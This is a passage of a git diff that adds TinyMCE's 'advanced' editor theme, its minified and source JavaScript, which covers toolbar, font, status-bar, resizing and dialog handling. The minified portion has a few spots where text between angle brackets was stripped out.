add(r.id+"_path_row","click",function(n){n=n.target;if(n.nodeName=="A"){v._sel(n.className.replace(/^.*mcePath_([0-9]+).*$/,"$1"));return b.cancel(n)}});if(!r.getParam("accessibility_focus")){b.add(d.add(j,"a",{href:"#"},""),"focus",function(){tinyMCE.get(r.id).focus()})}if(w.theme_advanced_toolbar_location=="external"){k.deltaHeight=0}v.deltaHeight=k.deltaHeight;k.targetNode=null;r.onKeyDown.add(function(p,n){var s=121,o=122;if(n.altKey){if(n.keyCode===s){if(e.isWebKit){window.focus()}v.toolbarGroup.focus();return b.cancel(n)}else{if(n.keyCode===o){d.get(p.id+"_path_row").focus();return b.cancel(n)}}}});r.addShortcut("alt+0","","mceShortcuts",v);return{iframeContainer:l,editorContainer:r.id+"_parent",sizeContainer:u,deltaHeight:k.deltaHeight}},getInfo:function(){return{longname:"Advanced theme",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",version:e.majorVersion+"."+e.minorVersion}},resizeBy:function(i,j){var k=d.get(this.editor.id+"_ifr");this.resizeTo(k.clientWidth+i,k.clientHeight+j)},resizeTo:function(i,m,k){var j=this.editor,l=this.settings,n=d.get(j.id+"_tbl"),o=d.get(j.id+"_ifr");i=Math.max(l.theme_advanced_resizing_min_width||100,i);m=Math.max(l.theme_advanced_resizing_min_height||100,m);i=Math.min(l.theme_advanced_resizing_max_width||65535,i);m=Math.min(l.theme_advanced_resizing_max_height||65535,m);d.setStyle(n,"height","");d.setStyle(o,"height",m);if(l.theme_advanced_resize_horizontal){d.setStyle(n,"width","");d.setStyle(o,"width",i);if(i"));d.setHTML(l,q.join(""))},_addStatusBar:function(m,j){var k,v=this,p=v.editor,w=v.settings,i,q,u,l;k=d.add(m,"tr");k=l=d.add(k,"td",{"class":"mceStatusbar"});k=d.add(k,"div",{id:p.id+"_path_row",role:"group","aria-labelledby":p.id+"_path_voice"});if(w.theme_advanced_path){d.add(k,"span",{id:p.id+"_path_voice"},p.translate("advanced.path"));d.add(k,"span",{},": ")}else{d.add(k,"span",{}," ")}if(w.theme_advanced_resizing){d.add(l,"a",{id:p.id+"_resize",href:"javascript:;",onclick:"return false;","class":"mceResize",tabIndex:"-1"});if(w.theme_advanced_resizing_use_cookie){p.onPostRender.add(function(){var n=a.getHash("TinyMCE_"+p.id+"_size"),r=d.get(p.id+"_tbl");if(!n){return}v.resizeTo(n.cw,n.ch)})}p.onPostRender.add(function(){b.add(p.id+"_resize","click",function(n){n.preventDefault()});b.add(p.id+"_resize","mousedown",function(D){var t,r,s,o,C,z,A,F,n,E,x;function y(G){G.preventDefault();n=A+(G.screenX-C);E=F+(G.screenY-z);v.resizeTo(n,E)}function B(G){b.remove(d.doc,"mousemove",t);b.remove(p.getDoc(),"mousemove",r);b.remove(d.doc,"mouseup",s);b.remove(p.getDoc(),"mouseup",o);n=A+(G.screenX-C);E=F+(G.screenY-z);v.resizeTo(n,E,true)}D.preventDefault();C=D.screenX;z=D.screenY;x=d.get(v.editor.id+"_ifr");A=n=x.clientWidth;F=E=x.clientHeight;t=b.add(d.doc,"mousemove",y);r=b.add(p.getDoc(),"mousemove",y);s=b.add(d.doc,"mouseup",B);o=b.add(p.getDoc(),"mouseup",B)})})}j.deltaHeight-=21;k=m=null},_updateUndoStatus:function(j){var i=j.controlManager,k=j.undoManager;i.setDisabled("undo",!k.hasUndo()&&!k.typing);i.setDisabled("redo",!k.hasRedo())},_nodeChanged:function(m,r,D,q,E){var y=this,C,F=0,x,G,z=y.settings,w,k,u,B,l,j,i;e.each(y.stateControls,function(n){r.setActive(n,m.queryCommandState(y.controls[n][1]))});function o(p){var s,n=E.parents,t=p;if(typeof(p)=="string"){t=function(v){return v.nodeName==p}}for(s=0;s0){y.statusKeyboardNavigation=new e.ui.KeyboardNavigation({root:m.id+"_path_row",items:d.select("a",C),excludeFromTabOrder:true,onCancel:function(){m.focus()}},d)}}},_sel:function(i){this.editor.execCommand("mceSelectNodeDepth",false,i)},_mceInsertAnchor:function(k,j){var i=this.editor;i.windowManager.open({url:this.url+"/anchor.htm",width:320+parseInt(i.getLang("advanced.anchor_delta_width",0)),height:90+parseInt(i.getLang("advanced.anchor_delta_height",0)),inline:true},{theme_url:this.url})},_mceCharMap:function(){var i=this.editor;i.windowManager.open({url:this.url+"/charmap.htm",width:550+parseInt(i.getLang("advanced.charmap_delta_width",0)),height:265+parseInt(i.getLang("advanced.charmap_delta_height",0)),inline:true},{theme_url:this.url})},_mceHelp:function(){var i=this.editor;i.windowManager.open({url:this.url+"/about.htm",width:480,height:380,inline:true},{theme_url:this.url})},_mceShortcuts:function(){var i=this.editor;i.windowManager.open({url:this.url+"/shortcuts.htm",width:480,height:380,inline:true},{theme_url:this.url})},_mceColorPicker:function(k,j){var i=this.editor;j=j||{};i.windowManager.open({url:this.url+"/color_picker.htm",width:375+parseInt(i.getLang("advanced.colorpicker_delta_width",0)),height:250+parseInt(i.getLang("advanced.colorpicker_delta_height",0)),close_previous:false,inline:true},{input_color:j.color,func:j.func,theme_url:this.url})},_mceCodeEditor:function(j,k){var i=this.editor;i.windowManager.open({url:this.url+"/source_editor.htm",width:parseInt(i.getParam("theme_advanced_source_editor_width",720)),height:parseInt(i.getParam("theme_advanced_source_editor_height",580)),inline:true,resizable:true,maximizable:true},{theme_url:this.url})},_mceImage:function(j,k){var i=this.editor;if(i.dom.getAttrib(i.selection.getNode(),"class").indexOf("mceItem")!=-1){return}i.windowManager.open({url:this.url+"/image.htm",width:355+parseInt(i.getLang("advanced.image_delta_width",0)),height:275+parseInt(i.getLang("advanced.image_delta_height",0)),inline:true},{theme_url:this.url})},_mceLink:function(j,k){var i=this.editor;i.windowManager.open({url:this.url+"/link.htm",width:310+parseInt(i.getLang("advanced.link_delta_width",0)),height:200+parseInt(i.getLang("advanced.link_delta_height",0)),inline:true},{theme_url:this.url})},_mceNewDocument:function(){var i=this.editor;i.windowManager.confirm("advanced.newdocument",function(j){if(j){i.execCommand("mceSetContent",false,"")}})},_mceForeColor:function(){var i=this;this._mceColorPicker(0,{color:i.fgColor,func:function(j){i.fgColor=j;i.editor.execCommand("ForeColor",false,j)}})},_mceBackColor:function(){var i=this;this._mceColorPicker(0,{color:i.bgColor,func:function(j){i.bgColor=j;i.editor.execCommand("HiliteColor",false,j)}})},_ufirst:function(i){return i.substring(0,1).toUpperCase()+i.substring(1)}});e.ThemeManager.add("advanced",e.themes.AdvancedTheme)}(tinymce)); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/editor_template_src.js b/js/tiny_mce/themes/advanced/editor_template_src.js new file mode 100755 index 0000000..00b404a --- /dev/null +++ b/js/tiny_mce/themes/advanced/editor_template_src.js @@ -0,0 +1,1362 @@ +/** + * editor_template_src.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +(function(tinymce) { + var DOM = tinymce.DOM, Event = tinymce.dom.Event, extend = tinymce.extend, each = tinymce.each, Cookie = tinymce.util.Cookie, lastExtID, explode = tinymce.explode; + + // Tell it to load theme specific language pack(s) + tinymce.ThemeManager.requireLangPack('advanced'); + + tinymce.create('tinymce.themes.AdvancedTheme', { + sizes : [8, 10, 12, 14, 18, 24, 36], + + // Control name lookup, format: title, command + controls : { + bold : ['bold_desc', 'Bold'], + italic : ['italic_desc', 'Italic'], + underline : ['underline_desc', 'Underline'], + strikethrough : ['striketrough_desc', 'Strikethrough'], + justifyleft : ['justifyleft_desc', 'JustifyLeft'], + justifycenter : ['justifycenter_desc', 'JustifyCenter'], + justifyright : ['justifyright_desc', 'JustifyRight'], + justifyfull : ['justifyfull_desc', 'JustifyFull'], + bullist : ['bullist_desc', 'InsertUnorderedList'], + numlist : ['numlist_desc', 'InsertOrderedList'], + outdent : ['outdent_desc', 'Outdent'], + indent : ['indent_desc', 'Indent'], + cut : ['cut_desc', 'Cut'], + copy : ['copy_desc', 'Copy'], + paste : ['paste_desc', 'Paste'], + undo : ['undo_desc', 'Undo'], + redo : ['redo_desc', 'Redo'], + link : ['link_desc', 'mceLink'], + unlink : ['unlink_desc', 'unlink'], + image : ['image_desc', 'mceImage'], + cleanup : ['cleanup_desc', 'mceCleanup'], + help : ['help_desc', 'mceHelp'], + code : ['code_desc', 'mceCodeEditor'], + hr : ['hr_desc', 'InsertHorizontalRule'], + removeformat : ['removeformat_desc', 'RemoveFormat'], + sub : ['sub_desc', 'subscript'], + sup : ['sup_desc', 'superscript'], + forecolor : ['forecolor_desc', 'ForeColor'], + forecolorpicker : ['forecolor_desc', 'mceForeColor'], + backcolor : ['backcolor_desc', 'HiliteColor'], + backcolorpicker : ['backcolor_desc', 'mceBackColor'], + charmap : ['charmap_desc', 'mceCharMap'], + visualaid : ['visualaid_desc', 'mceToggleVisualAid'], + anchor : ['anchor_desc', 'mceInsertAnchor'], + newdocument : ['newdocument_desc', 'mceNewDocument'], + blockquote : ['blockquote_desc', 'mceBlockQuote'] + }, + + stateControls : ['bold', 'italic', 'underline', 'strikethrough', 'bullist', 'numlist', 'justifyleft', 'justifycenter', 'justifyright', 'justifyfull', 'sub', 'sup', 'blockquote'], + + init : function(ed, url) { + var t = this, s, v, o; + + t.editor = ed; + t.url = url; + t.onResolveName = new tinymce.util.Dispatcher(this); + + ed.forcedHighContrastMode = ed.settings.detect_highcontrast && t._isHighContrast(); + ed.settings.skin = ed.forcedHighContrastMode ? 'highcontrast' : ed.settings.skin; + + // Default settings + t.settings = s = extend({ + theme_advanced_path : true, + theme_advanced_toolbar_location : 'bottom', + theme_advanced_buttons1 : "bold,italic,underline,strikethrough,|,justifyleft,justifycenter,justifyright,justifyfull,|,styleselect,formatselect", + theme_advanced_buttons2 : "bullist,numlist,|,outdent,indent,|,undo,redo,|,link,unlink,anchor,image,cleanup,help,code", + theme_advanced_buttons3 : "hr,removeformat,visualaid,|,sub,sup,|,charmap", + theme_advanced_blockformats : "p,address,pre,h1,h2,h3,h4,h5,h6", + theme_advanced_toolbar_align : "center", + theme_advanced_fonts : "Andale Mono=andale mono,times;Arial=arial,helvetica,sans-serif;Arial Black=arial black,avant garde;Book Antiqua=book antiqua,palatino;Comic Sans MS=comic sans ms,sans-serif;Courier New=courier new,courier;Georgia=georgia,palatino;Helvetica=helvetica;Impact=impact,chicago;Symbol=symbol;Tahoma=tahoma,arial,helvetica,sans-serif;Terminal=terminal,monaco;Times New Roman=times new roman,times;Trebuchet MS=trebuchet ms,geneva;Verdana=verdana,geneva;Webdings=webdings;Wingdings=wingdings,zapf dingbats", + theme_advanced_more_colors : 1, + theme_advanced_row_height : 23, + theme_advanced_resize_horizontal : 1, + theme_advanced_resizing_use_cookie : 1, + theme_advanced_font_sizes : "1,2,3,4,5,6,7", + theme_advanced_font_selector : "span", + theme_advanced_show_current_color: 0, + readonly : ed.settings.readonly + }, ed.settings); + + // Setup default font_size_style_values + if (!s.font_size_style_values) + s.font_size_style_values = "8pt,10pt,12pt,14pt,18pt,24pt,36pt"; + + if (tinymce.is(s.theme_advanced_font_sizes, 'string')) { + s.font_size_style_values = tinymce.explode(s.font_size_style_values); + s.font_size_classes = tinymce.explode(s.font_size_classes || ''); + + // Parse string value + o = {}; + ed.settings.theme_advanced_font_sizes = s.theme_advanced_font_sizes; + each(ed.getParam('theme_advanced_font_sizes', '', 'hash'), function(v, k) { + var cl; + + if (k == v && v >= 1 && v <= 7) { + k = v + ' (' + t.sizes[v - 1] + 'pt)'; + cl = s.font_size_classes[v - 1]; + v = s.font_size_style_values[v - 1] || (t.sizes[v - 1] + 'pt'); + } + + if (/^\s*\./.test(v)) + cl = v.replace(/\./g, ''); + + o[k] = cl ? {'class' : cl} : {fontSize : v}; + }); + + s.theme_advanced_font_sizes = o; + } + + if ((v = s.theme_advanced_path_location) && v != 'none') + s.theme_advanced_statusbar_location = s.theme_advanced_path_location; + + if (s.theme_advanced_statusbar_location == 'none') + s.theme_advanced_statusbar_location = 0; + + if (ed.settings.content_css !== false) + ed.contentCSS.push(ed.baseURI.toAbsolute(url + "/skins/" + ed.settings.skin + "/content.css")); + + // Init editor + ed.onInit.add(function() { + if (!ed.settings.readonly) { + ed.onNodeChange.add(t._nodeChanged, t); + ed.onKeyUp.add(t._updateUndoStatus, t); + ed.onMouseUp.add(t._updateUndoStatus, t); + ed.dom.bind(ed.dom.getRoot(), 'dragend', function() { + t._updateUndoStatus(ed); + }); + } + }); + + ed.onSetProgressState.add(function(ed, b, ti) { + var co, id = ed.id, tb; + + if (b) { + t.progressTimer = setTimeout(function() { + co = ed.getContainer(); + co = co.insertBefore(DOM.create('DIV', {style : 'position:relative'}), co.firstChild); + tb = DOM.get(ed.id + '_tbl'); + + DOM.add(co, 'div', {id : id + '_blocker', 'class' : 'mceBlocker', style : {width : tb.clientWidth + 2, height : tb.clientHeight + 2}}); + DOM.add(co, 'div', {id : id + '_progress', 'class' : 'mceProgress', style : {left : tb.clientWidth / 2, top : tb.clientHeight / 2}}); + }, ti || 0); + } else { + DOM.remove(id + '_blocker'); + DOM.remove(id + '_progress'); + clearTimeout(t.progressTimer); + } + }); + + DOM.loadCSS(s.editor_css ? ed.documentBaseURI.toAbsolute(s.editor_css) : url + "/skins/" + ed.settings.skin + "/ui.css"); + + if (s.skin_variant) + DOM.loadCSS(url + "/skins/" + ed.settings.skin + "/ui_" + s.skin_variant + ".css"); + }, + + _isHighContrast : function() { + var actualColor, div = DOM.add(DOM.getRoot(), 'div', {'style': 'background-color: rgb(171,239,86);'}); + + actualColor = (DOM.getStyle(div, 'background-color', true) + '').toLowerCase().replace(/ /g, ''); + DOM.remove(div); + + return actualColor != 'rgb(171,239,86)' && actualColor != '#abef56'; + }, + + createControl : function(n, cf) { + var cd, c; + + if (c = cf.createControl(n)) + return c; + + switch (n) { + case "styleselect": + return this._createStyleSelect(); + + case "formatselect": + return this._createBlockFormats(); + + case "fontselect": + return this._createFontSelect(); + + case "fontsizeselect": + return this._createFontSizeSelect(); + + case "forecolor": + return this._createForeColorMenu(); + + case "backcolor": + return this._createBackColorMenu(); + } + + if ((cd = this.controls[n])) + return cf.createButton(n, {title : "advanced." + cd[0], cmd : cd[1], ui : cd[2], value : cd[3]}); + }, + + execCommand : function(cmd, ui, val) { + var f = this['_' + cmd]; + + if (f) { + f.call(this, ui, val); + return true; + } + + return false; + }, + + _importClasses : function(e) { + var ed = this.editor, ctrl = ed.controlManager.get('styleselect'); + + if (ctrl.getLength() == 0) { + each(ed.dom.getClasses(), function(o, idx) { + var name = 'style_' + idx; + + ed.formatter.register(name, { + inline : 'span', + attributes : {'class' : o['class']}, + selector : '*' + }); + + ctrl.add(o['class'], name); + }); + } + }, + + _createStyleSelect : function(n) { + var t = this, ed = t.editor, ctrlMan = ed.controlManager, ctrl; + + // Setup style select box + ctrl = ctrlMan.createListBox('styleselect', { + title : 'advanced.style_select', + onselect : function(name) { + var matches, formatNames = []; + + each(ctrl.items, function(item) { + formatNames.push(item.value); + }); + + ed.focus(); + ed.undoManager.add(); + + // Toggle off the current format + matches = ed.formatter.matchAll(formatNames); + if (!name || matches[0] == name) { + if (matches[0]) + ed.formatter.remove(matches[0]); + } else + ed.formatter.apply(name); + + ed.undoManager.add(); + ed.nodeChanged(); + + return false; // No auto select + } + }); + + // Handle specified format + ed.onInit.add(function() { + var counter = 0, formats = ed.getParam('style_formats'); + + if (formats) { + each(formats, function(fmt) { + var name, keys = 0; + + each(fmt, function() {keys++;}); + + if (keys > 1) { + name = fmt.name = fmt.name || 'style_' + (counter++); + ed.formatter.register(name, fmt); + ctrl.add(fmt.title, name); + } else + ctrl.add(fmt.title); + }); + } else { + each(ed.getParam('theme_advanced_styles', '', 'hash'), function(val, key) { + var name; + + if (val) { + name = 'style_' + (counter++); + + ed.formatter.register(name, { + inline : 'span', + classes : val, + selector : '*' + }); + + ctrl.add(t.editor.translate(key), name); + } + }); + } + }); + + // Auto import classes if the ctrl box is empty + if (ctrl.getLength() == 0) { + ctrl.onPostRender.add(function(ed, n) { + if (!ctrl.NativeListBox) { + Event.add(n.id + '_text', 'focus', t._importClasses, t); + Event.add(n.id + '_text', 'mousedown', t._importClasses, t); + Event.add(n.id + '_open', 'focus', t._importClasses, t); + Event.add(n.id + '_open', 'mousedown', t._importClasses, t); + } else + Event.add(n.id, 'focus', t._importClasses, t); + }); + } + + return ctrl; + }, + + _createFontSelect : function() { + var c, t = this, ed = t.editor; + + c = ed.controlManager.createListBox('fontselect', { + title : 'advanced.fontdefault', + onselect : function(v) { + var cur = c.items[c.selectedIndex]; + + if (!v && cur) { + ed.execCommand('FontName', false, cur.value); + return; + } + + ed.execCommand('FontName', false, v); + + // Fake selection, execCommand will fire a nodeChange and update the selection + c.select(function(sv) { + return v == sv; + }); + + if (cur && cur.value == v) { + c.select(null); + } + + return false; // No auto select + } + }); + + if (c) { + each(ed.getParam('theme_advanced_fonts', t.settings.theme_advanced_fonts, 'hash'), function(v, k) { + c.add(ed.translate(k), v, {style : v.indexOf('dings') == -1 ? 'font-family:' + v : ''}); + }); + } + + return c; + }, + + _createFontSizeSelect : function() { + var t = this, ed = t.editor, c, i = 0, cl = []; + + c = ed.controlManager.createListBox('fontsizeselect', {title : 'advanced.font_size', onselect : function(v) { + var cur = c.items[c.selectedIndex]; + + if (!v && cur) { + cur = cur.value; + + if (cur['class']) { + ed.formatter.toggle('fontsize_class', {value : cur['class']}); + ed.undoManager.add(); + ed.nodeChanged(); + } else { + ed.execCommand('FontSize', false, cur.fontSize); + } + + return; + } + + if (v['class']) { + ed.focus(); + ed.undoManager.add(); + ed.formatter.toggle('fontsize_class', {value : v['class']}); + ed.undoManager.add(); + ed.nodeChanged(); + } else + ed.execCommand('FontSize', false, v.fontSize); + + // Fake selection, execCommand will fire a nodeChange and update the selection + c.select(function(sv) { + return v == sv; + }); + + if (cur && (cur.value.fontSize == v.fontSize || cur.value['class'] && cur.value['class'] == v['class'])) { + c.select(null); + } + + return false; // No auto select + }}); + + if (c) { + each(t.settings.theme_advanced_font_sizes, function(v, k) { + var fz = v.fontSize; + + if (fz >= 1 && fz <= 7) + fz = t.sizes[parseInt(fz) - 1] + 'pt'; + + c.add(k, v, {'style' : 'font-size:' + fz, 'class' : 'mceFontSize' + (i++) + (' ' + (v['class'] || ''))}); + }); + } + + return c; + }, + + _createBlockFormats : function() { + var c, fmts = { + p : 'advanced.paragraph', + address : 'advanced.address', + pre : 'advanced.pre', + h1 : 'advanced.h1', + h2 : 'advanced.h2', + h3 : 'advanced.h3', + h4 : 'advanced.h4', + h5 : 'advanced.h5', + h6 : 'advanced.h6', + div : 'advanced.div', + blockquote : 'advanced.blockquote', + code : 'advanced.code', + dt : 'advanced.dt', + dd : 'advanced.dd', + samp : 'advanced.samp' + }, t = this; + + c = t.editor.controlManager.createListBox('formatselect', {title : 'advanced.block', onselect : function(v) { + t.editor.execCommand('FormatBlock', false, v); + return false; + }}); + + if (c) { + each(t.editor.getParam('theme_advanced_blockformats', t.settings.theme_advanced_blockformats, 'hash'), function(v, k) { + c.add(t.editor.translate(k != v ? k : fmts[v]), v, {'class' : 'mce_formatPreview mce_' + v}); + }); + } + + return c; + }, + + _createForeColorMenu : function() { + var c, t = this, s = t.settings, o = {}, v; + + if (s.theme_advanced_more_colors) { + o.more_colors_func = function() { + t._mceColorPicker(0, { + color : c.value, + func : function(co) { + c.setColor(co); + } + }); + }; + } + + if (v = s.theme_advanced_text_colors) + o.colors = v; + + if (s.theme_advanced_default_foreground_color) + o.default_color = s.theme_advanced_default_foreground_color; + + o.title = 'advanced.forecolor_desc'; + o.cmd = 'ForeColor'; + o.scope = this; + + c = t.editor.controlManager.createColorSplitButton('forecolor', o); + + return c; + }, + + _createBackColorMenu : function() { + var c, t = this, s = t.settings, o = {}, v; + + if (s.theme_advanced_more_colors) { + o.more_colors_func = function() { + t._mceColorPicker(0, { + color : c.value, + func : function(co) { + c.setColor(co); + } + }); + }; + } + + if (v = s.theme_advanced_background_colors) + o.colors = v; + + if (s.theme_advanced_default_background_color) + o.default_color = s.theme_advanced_default_background_color; + + o.title = 'advanced.backcolor_desc'; + o.cmd = 'HiliteColor'; + o.scope = this; + + c = t.editor.controlManager.createColorSplitButton('backcolor', o); + + return c; + }, + + renderUI : function(o) { + var n, ic, tb, t = this, ed = t.editor, s = t.settings, sc, p, nl; + + if (ed.settings) { + ed.settings.aria_label = s.aria_label + ed.getLang('advanced.help_shortcut'); + } + + // TODO: ACC Should have an aria-describedby attribute which is user-configurable to describe what this field is actually for. + // Maybe actually inherit it from the original textara? + n = p = DOM.create('span', {role : 'application', 'aria-labelledby' : ed.id + '_voice', id : ed.id + '_parent', 'class' : 'mceEditor ' + ed.settings.skin + 'Skin' + (s.skin_variant ? ' ' + ed.settings.skin + 'Skin' + t._ufirst(s.skin_variant) : '')}); + DOM.add(n, 'span', {'class': 'mceVoiceLabel', 'style': 'display:none;', id: ed.id + '_voice'}, s.aria_label); + + if (!DOM.boxModel) + n = DOM.add(n, 'div', {'class' : 'mceOldBoxModel'}); + + n = sc = DOM.add(n, 'table', {role : "presentation", id : ed.id + '_tbl', 'class' : 'mceLayout', cellSpacing : 0, cellPadding : 0}); + n = tb = DOM.add(n, 'tbody'); + + switch ((s.theme_advanced_layout_manager || '').toLowerCase()) { + case "rowlayout": + ic = t._rowLayout(s, tb, o); + break; + + case "customlayout": + ic = ed.execCallback("theme_advanced_custom_layout", s, tb, o, p); + break; + + default: + ic = t._simpleLayout(s, tb, o, p); + } + + n = o.targetNode; + + // Add classes to first and last TRs + nl = sc.rows; + DOM.addClass(nl[0], 'mceFirst'); + DOM.addClass(nl[nl.length - 1], 'mceLast'); + + // Add classes to first and last TDs + each(DOM.select('tr', tb), function(n) { + DOM.addClass(n.firstChild, 'mceFirst'); + DOM.addClass(n.childNodes[n.childNodes.length - 1], 'mceLast'); + }); + + if (DOM.get(s.theme_advanced_toolbar_container)) + DOM.get(s.theme_advanced_toolbar_container).appendChild(p); + else + DOM.insertAfter(p, n); + + Event.add(ed.id + '_path_row', 'click', function(e) { + e = e.target; + + if (e.nodeName == 'A') { + t._sel(e.className.replace(/^.*mcePath_([0-9]+).*$/, '$1')); + + return Event.cancel(e); + } + }); +/* + if (DOM.get(ed.id + '_path_row')) { + Event.add(ed.id + '_tbl', 'mouseover', function(e) { + var re; + + e = e.target; + + if (e.nodeName == 'SPAN' && DOM.hasClass(e.parentNode, 'mceButton')) { + re = DOM.get(ed.id + '_path_row'); + t.lastPath = re.innerHTML; + DOM.setHTML(re, e.parentNode.title); + } + }); + + Event.add(ed.id + '_tbl', 'mouseout', function(e) { + if (t.lastPath) { + DOM.setHTML(ed.id + '_path_row', t.lastPath); + t.lastPath = 0; + } + }); + } +*/ + + if (!ed.getParam('accessibility_focus')) + Event.add(DOM.add(p, 'a', {href : '#'}, ''), 'focus', function() {tinyMCE.get(ed.id).focus();}); + + if (s.theme_advanced_toolbar_location == 'external') + o.deltaHeight = 0; + + t.deltaHeight = o.deltaHeight; + o.targetNode = null; + + ed.onKeyDown.add(function(ed, evt) { + var DOM_VK_F10 = 121, DOM_VK_F11 = 122; + + if (evt.altKey) { + if (evt.keyCode === DOM_VK_F10) { + // Make sure focus is given to toolbar in Safari. + // We can't do this in IE as it prevents giving focus to toolbar when editor is in a frame + if (tinymce.isWebKit) { + window.focus(); + } + t.toolbarGroup.focus(); + return Event.cancel(evt); + } else if (evt.keyCode === DOM_VK_F11) { + DOM.get(ed.id + '_path_row').focus(); + return Event.cancel(evt); + } + } + }); + + // alt+0 is the UK recommended shortcut for accessing the list of access controls. + ed.addShortcut('alt+0', '', 'mceShortcuts', t); + + return { + iframeContainer : ic, + editorContainer : ed.id + '_parent', + sizeContainer : sc, + deltaHeight : o.deltaHeight + }; + }, + + getInfo : function() { + return { + longname : 'Advanced theme', + author : 'Moxiecode Systems AB', + authorurl : 'http://tinymce.moxiecode.com', + version : tinymce.majorVersion + "." + tinymce.minorVersion + } + }, + + resizeBy : function(dw, dh) { + var e = DOM.get(this.editor.id + '_ifr'); + + this.resizeTo(e.clientWidth + dw, e.clientHeight + dh); + }, + + resizeTo : function(w, h, store) { + var ed = this.editor, s = this.settings, e = DOM.get(ed.id + '_tbl'), ifr = DOM.get(ed.id + '_ifr'); + + // Boundery fix box + w = Math.max(s.theme_advanced_resizing_min_width || 100, w); + h = Math.max(s.theme_advanced_resizing_min_height || 100, h); + w = Math.min(s.theme_advanced_resizing_max_width || 0xFFFF, w); + h = Math.min(s.theme_advanced_resizing_max_height || 0xFFFF, h); + + // Resize iframe and container + DOM.setStyle(e, 'height', ''); + DOM.setStyle(ifr, 'height', h); + + if (s.theme_advanced_resize_horizontal) { + DOM.setStyle(e, 'width', ''); + DOM.setStyle(ifr, 'width', w); + + // Make sure that the size is never smaller than the over all ui + if (w < e.clientWidth) { + w = e.clientWidth; + DOM.setStyle(ifr, 'width', e.clientWidth); + } + } + + // Store away the size + if (store && s.theme_advanced_resizing_use_cookie) { + Cookie.setHash("TinyMCE_" + ed.id + "_size", { + cw : w, + ch : h + }); + } + }, + + destroy : function() { + var id = this.editor.id; + + Event.clear(id + '_resize'); + Event.clear(id + '_path_row'); + Event.clear(id + '_external_close'); + }, + + // Internal functions + + _simpleLayout : function(s, tb, o, p) { + var t = this, ed = t.editor, lo = s.theme_advanced_toolbar_location, sl = s.theme_advanced_statusbar_location, n, ic, etb, c; + + if (s.readonly) { + n = DOM.add(tb, 'tr'); + n = ic = DOM.add(n, 'td', {'class' : 'mceIframeContainer'}); + return ic; + } + + // Create toolbar container at top + if (lo == 'top') + t._addToolbars(tb, o); + + // Create external toolbar + if (lo == 'external') { + n = c = DOM.create('div', {style : 'position:relative'}); + n = DOM.add(n, 'div', {id : ed.id + '_external', 'class' : 'mceExternalToolbar'}); + DOM.add(n, 'a', {id : ed.id + '_external_close', href : 'javascript:;', 'class' : 'mceExternalClose'}); + n = DOM.add(n, 'table', {id : ed.id + '_tblext', cellSpacing : 0, cellPadding : 0}); + etb = DOM.add(n, 'tbody'); + + if (p.firstChild.className == 'mceOldBoxModel') + p.firstChild.appendChild(c); + else + p.insertBefore(c, p.firstChild); + + t._addToolbars(etb, o); + + ed.onMouseUp.add(function() { + var e = DOM.get(ed.id + '_external'); + DOM.show(e); + + DOM.hide(lastExtID); + + var f = Event.add(ed.id + '_external_close', 'click', function() { + DOM.hide(ed.id + '_external'); + Event.remove(ed.id + '_external_close', 'click', f); + }); + + DOM.show(e); + DOM.setStyle(e, 'top', 0 - DOM.getRect(ed.id + '_tblext').h - 1); + + // Fixes IE rendering bug + DOM.hide(e); + DOM.show(e); + e.style.filter = ''; + + lastExtID = ed.id + '_external'; + + e = null; + }); + } + + if (sl == 'top') + t._addStatusBar(tb, o); + + // Create iframe container + if (!s.theme_advanced_toolbar_container) { + n = DOM.add(tb, 'tr'); + n = ic = DOM.add(n, 'td', {'class' : 'mceIframeContainer'}); + } + + // Create toolbar container at bottom + if (lo == 'bottom') + t._addToolbars(tb, o); + + if (sl == 'bottom') + t._addStatusBar(tb, o); + + return ic; + }, + + _rowLayout : function(s, tb, o) { + var t = this, ed = t.editor, dc, da, cf = ed.controlManager, n, ic, to, a; + + dc = s.theme_advanced_containers_default_class || ''; + da = s.theme_advanced_containers_default_align || 'center'; + + each(explode(s.theme_advanced_containers || ''), function(c, i) { + var v = s['theme_advanced_container_' + c] || ''; + + switch (c.toLowerCase()) { + case 'mceeditor': + n = DOM.add(tb, 'tr'); + n = ic = DOM.add(n, 'td', {'class' : 'mceIframeContainer'}); + break; + + case 'mceelementpath': + t._addStatusBar(tb, o); + break; + + default: + a = (s['theme_advanced_container_' + c + '_align'] || da).toLowerCase(); + a = 'mce' + t._ufirst(a); + + n = DOM.add(DOM.add(tb, 'tr'), 'td', { + 'class' : 'mceToolbar ' + (s['theme_advanced_container_' + c + '_class'] || dc) + ' ' + a || da + }); + + to = cf.createToolbar("toolbar" + i); + t._addControls(v, to); + DOM.setHTML(n, to.renderHTML()); + o.deltaHeight -= s.theme_advanced_row_height; + } + }); + + return ic; + }, + + _addControls : function(v, tb) { + var t = this, s = t.settings, di, cf = t.editor.controlManager; + + if (s.theme_advanced_disable && !t._disabled) { + di = {}; + + each(explode(s.theme_advanced_disable), function(v) { + di[v] = 1; + }); + + t._disabled = di; + } else + di = t._disabled; + + each(explode(v), function(n) { + var c; + + if (di && di[n]) + return; + + // Compatiblity with 2.x + if (n == 'tablecontrols') { + each(["table","|","row_props","cell_props","|","row_before","row_after","delete_row","|","col_before","col_after","delete_col","|","split_cells","merge_cells"], function(n) { + n = t.createControl(n, cf); + + if (n) + tb.add(n); + }); + + return; + } + + c = t.createControl(n, cf); + + if (c) + tb.add(c); + }); + }, + + _addToolbars : function(c, o) { + var t = this, i, tb, ed = t.editor, s = t.settings, v, cf = ed.controlManager, di, n, h = [], a, toolbarGroup; + + toolbarGroup = cf.createToolbarGroup('toolbargroup', { + 'name': ed.getLang('advanced.toolbar'), + 'tab_focus_toolbar':ed.getParam('theme_advanced_tab_focus_toolbar') + }); + + t.toolbarGroup = toolbarGroup; + + a = s.theme_advanced_toolbar_align.toLowerCase(); + a = 'mce' + t._ufirst(a); + + n = DOM.add(DOM.add(c, 'tr', {role: 'presentation'}), 'td', {'class' : 'mceToolbar ' + a, "role":"presentation"}); + + // Create toolbar and add the controls + for (i=1; (v = s['theme_advanced_buttons' + i]); i++) { + tb = cf.createToolbar("toolbar" + i, {'class' : 'mceToolbarRow' + i}); + + if (s['theme_advanced_buttons' + i + '_add']) + v += ',' + s['theme_advanced_buttons' + i + '_add']; + + if (s['theme_advanced_buttons' + i + '_add_before']) + v = s['theme_advanced_buttons' + i + '_add_before'] + ',' + 